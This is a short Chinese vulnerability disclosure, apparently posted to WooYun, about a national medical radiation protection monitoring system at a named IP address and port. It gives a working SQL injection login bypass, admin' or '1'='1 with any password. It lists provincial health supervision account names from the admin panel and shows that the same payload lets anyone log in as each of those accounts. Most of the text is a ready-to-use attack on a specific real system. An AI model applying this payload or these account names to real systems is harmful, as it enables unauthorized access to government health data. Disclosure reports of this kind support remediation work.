WooYun.org

全国医疗卫生机构医用辐射防护监测信息系统：http://203.187.160.217:1234/
存在SQL注入，用户名使用admin' or '1'='1，密码随意即可登录成功。
进去之后发现这个账号是管理的，看不到什么。
发现用户管理列表
2 北京市 beijing 北京市 卫生监督单位
3 天津市 tianjin 天津市 卫生监督单位
4 河北省 hebei 河北省 卫生监督单位
5 山西省 shan1xi 山西省 卫生监督单位
6 内蒙古自治区 namenggu 内蒙古自治区 卫生监督单位
7 辽宁省 liaoning 辽宁省 卫生监督单位
8 吉林省 jilin 吉林省 卫生监督单位
9 黑龙江省 heilongjiang 黑龙江省 卫生监督单位
10 上海市 shanghai 上海市 卫生监督单位
11 江苏省 jiangsu 江苏省 卫生监督单位
12 浙江省 zhejiang 浙江省 卫生监督单位
13 安徽省 anhui 安徽省 卫生监督单位
14 福建省 fujian 福建省 卫生监督单位
等等...
例如：我们就可以使用shanghai' or '1'='1，密码随意就可以登录了。